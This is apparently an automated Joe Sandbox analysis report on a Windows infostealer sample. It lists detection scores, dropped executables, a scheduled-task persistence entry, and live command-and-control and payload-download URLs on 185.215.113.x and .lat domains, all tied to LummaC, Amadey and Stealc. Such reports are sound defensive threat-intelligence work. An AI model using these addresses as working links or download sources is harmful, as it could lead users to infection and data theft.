Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	471 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
iUKUR1nUyD.exe	55%	ReversingLabs	Win32.Trojan.Symmi
iUKUR1nUyD.exe	100%	Avira	TR/Crypt.XPACK.Gen
iUKUR1nUyD.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\Documents\BAAFBFBAAK.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	100%	Joe Sandbox ML
C:\Users\user\Documents\BAAFBFBAAK.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	47%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
https://observerfry.lat/api18w(	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll_	100%	Avira URL Cloud	malware
http://crl.microsoftv	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php0	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpof6(H	100%	Avira URL Cloud	malware
https://observerfry.lat/apip53F	100%	Avira URL Cloud	malware
http://185.215.113.16/J	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpfox	100%	Avira URL Cloud	malware
https://observerfry.lat/pi(	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpV=3	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpon	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exent	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dllX	100%	Avira URL Cloud	malware
http://185.215.113.206c4becf79229cb002.php0fee7a4b4daa3d9c6e25fd38098e-release	0%	Avira URL Cloud	safe
https://observerfry.lat/piX	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/sqlite3.dllz&	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
plus.l.google.com	172.217.17.46	true	false	high
play.google.com	172.217.19.206	true	false	high
www.google.com	142.250.181.68	true	false	high
observerfry.lat	172.67.199.72	true	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false		high
http://185.215.113.206/	false		high
curverpluch.lat	false		high
slipperyloo.lat	false		high
tentabatte.lat	false		high
manyrestro.lat	false		high
http://185.215.113.16/mine/random.exe	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false		high
http://185.215.113.43/Zu7JuNko/index.php	true	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false		high
bashfulacid.lat	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false		high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
observerfry.lat	false		high
wordyfindy.lat	false		high
https://observerfry.lat/api	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false		high
shapestickyr.lat	false		high
http://185.215.113.206/c4becf79229cb002.php	false		high
https://www.google.com/async/newtab_promos	false		high
talkynicer.lat	false		high
https://www.google.com/async/ddljson?async=ntp:2	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	iUKUR1nUyD.exe, 00000000.00000003.2136370703.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136498331.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136428983.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2674425141.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBG.4.dr	false		high
https://duckduckgo.com/ac/?q=	iUKUR1nUyD.exe, 00000000.00000003.2136370703.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136498331.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136428983.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2674425141.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBG.4.dr	false		high
http://www.broofa.com	chromecache_110.8.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	IEBAAFCAFCBKFHJJJKKF.4.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	iUKUR1nUyD.exe, 00000000.00000003.2206378610.0000000005A31000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3056234170.000000000B500000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3048071959.0000000000B92000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCAFCBKFHJJJKKF.4.dr	false		high
http://crl.microsoftv	iUKUR1nUyD.exe, 00000000.00000003.2365935344.0000000001222000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	iUKUR1nUyD.exe, 00000000.00000003.2136370703.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136498331.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136428983.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2674425141.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBG.4.dr	false		high
https://observerfry.lat/api18w(	iUKUR1nUyD.exe, 00000000.00000003.2232076651.0000000001230000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phps	QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3056234170.000000000B500000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/J	iUKUR1nUyD.exe, 00000000.00000003.2366148865.000000000123C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpfox	QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.0000000000267000.00000040.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpation	QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.0000000000184000.00000040.00000001.01000000.00000009.sdmp	false		high
http://185.215.113.16/u	iUKUR1nUyD.exe, 00000000.00000003.2366148865.000000000123C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	iUKUR1nUyD.exe, 00000000.00000003.2182218068.0000000005B3D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	iUKUR1nUyD.exe, 00000000.00000003.2182218068.0000000005B3D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	iUKUR1nUyD.exe, 00000000.00000003.2136370703.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136498331.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136428983.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2674425141.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBG.4.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpUser	QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.0000000000184000.00000040.00000001.01000000.00000009.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll_	QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3056234170.000000000B500000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php$	skotes.exe, 00000013.00000002.3332879910.00000000017AA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://apis.google.com	chromecache_110.8.dr	false		high
https://observerfry.lat/pi(	iUKUR1nUyD.exe, 00000000.00000003.2231955715.000000000123B000.00000004.00000020.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2232860817.000000000123E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	iUKUR1nUyD.exe, 00000000.00000003.2183316851.0000000005D53000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/apip53F	iUKUR1nUyD.exe, 00000000.00000003.2181016174.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3052020475.0000000005396000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3060796973.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpof6(H	QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3056234170.000000000B500000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://observerfry.lat:443/api	iUKUR1nUyD.exe, iUKUR1nUyD.exe, 00000000.00000003.2231955715.000000000123B000.00000004.00000020.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2249718158.0000000001230000.00000004.00000020.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2211776831.0000000001234000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php0	skotes.exe, 00000013.00000002.3332879910.00000000017AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpV=3	QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3056234170.000000000B500000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/r	QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3048071959.0000000000B79000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	QCOQEKY6WEL3K5GC9727N7E.exe, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3063824091.000000006F92D000.00000002.00000001.01000000.0000000E.sdmp, mozglue[1].dll.4.dr, mozglue.dll.4.dr	false		high
https://mozilla.org0/	mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	iUKUR1nUyD.exe, 00000000.00000003.2136370703.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136498331.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136428983.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2674425141.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBG.4.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpon	QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3056234170.000000000B500000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206c4becf79229cb002.php0fee7a4b4daa3d9c6e25fd38098e-release	QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.0000000000267000.00000040.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/steam/random.exe	iUKUR1nUyD.exe, 00000000.00000003.2366148865.000000000123C000.00000004.00000020.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2365935344.0000000001222000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	iUKUR1nUyD.exe, 00000000.00000003.2136370703.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136498331.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136428983.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2674425141.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBG.4.dr	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	iUKUR1nUyD.exe, 00000000.00000003.2182218068.0000000005B3D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/	iUKUR1nUyD.exe, iUKUR1nUyD.exe, 00000000.00000003.2249718158.000000000123D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	iUKUR1nUyD.exe, 00000000.00000003.2182218068.0000000005B3D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	iUKUR1nUyD.exe, 00000000.00000003.2136370703.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136498331.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136428983.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2674425141.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBG.4.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3056234170.000000000B500000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3048071959.0000000000B92000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCAFCBKFHJJJKKF.4.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	JEBKKEGDBFIIEBFHIEHCBKJJKJ.4.dr	false		high
https://ac.ecosia.org/autocomplete?q=	iUKUR1nUyD.exe, 00000000.00000003.2136370703.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136498331.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136428983.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2674425141.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBG.4.dr	false		high
http://185.215.113.16/	iUKUR1nUyD.exe, 00000000.00000003.2366148865.000000000123C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_110.8.dr	false		high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	iUKUR1nUyD.exe, 00000000.00000003.2206378610.0000000005A31000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3056234170.000000000B500000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3048071959.0000000000B92000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCAFCBKFHJJJKKF.4.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpw	skotes.exe, 00000013.00000002.3332879910.00000000017C7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/C	iUKUR1nUyD.exe, 00000000.00000003.2366148865.000000000123C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exent	iUKUR1nUyD.exe, 00000000.00000003.2365935344.0000000001222000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://observerfry.lat/piX	iUKUR1nUyD.exe, 00000000.00000003.2231955715.000000000123B000.00000004.00000020.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2232860817.000000000123E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3056234170.000000000B500000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3048071959.0000000000B92000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCAFCBKFHJJJKKF.4.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllX	QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3048071959.0000000000B79000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	iUKUR1nUyD.exe, 00000000.00000003.2182218068.0000000005B3D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	JEBKKEGDBFIIEBFHIEHCBKJJKJ.4.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpF	QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3056234170.000000000B500000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3056234170.000000000B500000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3048071959.0000000000B92000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCAFCBKFHJJJKKF.4.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpgPreference.Verb	QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3048071959.0000000000B92000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3056234170.000000000B500000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3048071959.0000000000B92000.00000004.00000020.00020000.00000000.sdmp, IEBAAFCAFCBKFHJJJKKF.4.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpi	skotes.exe, 00000013.00000002.3332879910.00000000017AA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org	JEBKKEGDBFIIEBFHIEHCBKJJKJ.4.dr	false		high
http://185.215.113.16/off/def.exe	iUKUR1nUyD.exe, 00000000.00000003.2365935344.0000000001222000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206	QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046365841.0000000000184000.00000040.00000001.01000000.00000009.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3048071959.0000000000B1E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dllz&	QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3048071959.0000000000B92000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	iUKUR1nUyD.exe, 00000000.00000003.2136370703.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136498331.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2136428983.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2674425141.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, ECAFHDBG.4.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.67.199.72	observerfry.lat	United States	13335	CLOUDFLARENETUS	false
172.217.17.46	plus.l.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580380
Start date and time:	2024-12-24 12:38:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	iUKUR1nUyD.exe renamed because original name is a hash value
Original Sample Name:	ca7c431abac02cfb1b6b43ed9b3457e3.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@41/61@7/9
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 64.233.161.84, 142.250.181.142, 172.217.21.35, 216.58.208.234, 172.217.17.42, 172.217.19.10, 142.250.181.74, 172.217.17.74, 172.217.19.170, 142.250.181.106, 172.217.19.202, 172.217.19.234, 142.250.181.10, 172.217.21.42, 142.250.181.138, 142.250.181.42, 13.107.246.63, 52.149.20.212, 23.218.208.109
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
Execution Graph export aborted for target QCOQEKY6WEL3K5GC9727N7E.exe, PID 6224 because there are no executed function
Execution Graph export aborted for target iUKUR1nUyD.exe, PID 2360 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: iUKUR1nUyD.exe

Simulations

Behavior and APIs

Time	Type	Description
06:39:06	API Interceptor	33x Sleep call for process: iUKUR1nUyD.exe modified
06:40:10	API Interceptor	436x Sleep call for process: QCOQEKY6WEL3K5GC9727N7E.exe modified
06:41:02	API Interceptor	57x Sleep call for process: skotes.exe modified
12:40:41	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
172.67.199.72	2oM46LNCOo.exe	Get hash	malicious	LummaC	Browse
	y001L6lEK4.exe	Get hash	malicious	LummaC, Stealc	Browse
	tTGxYWtjG5.exe	Get hash	malicious	LummaC	Browse
	iaLId0uLUw.exe	Get hash	malicious	LummaC	Browse
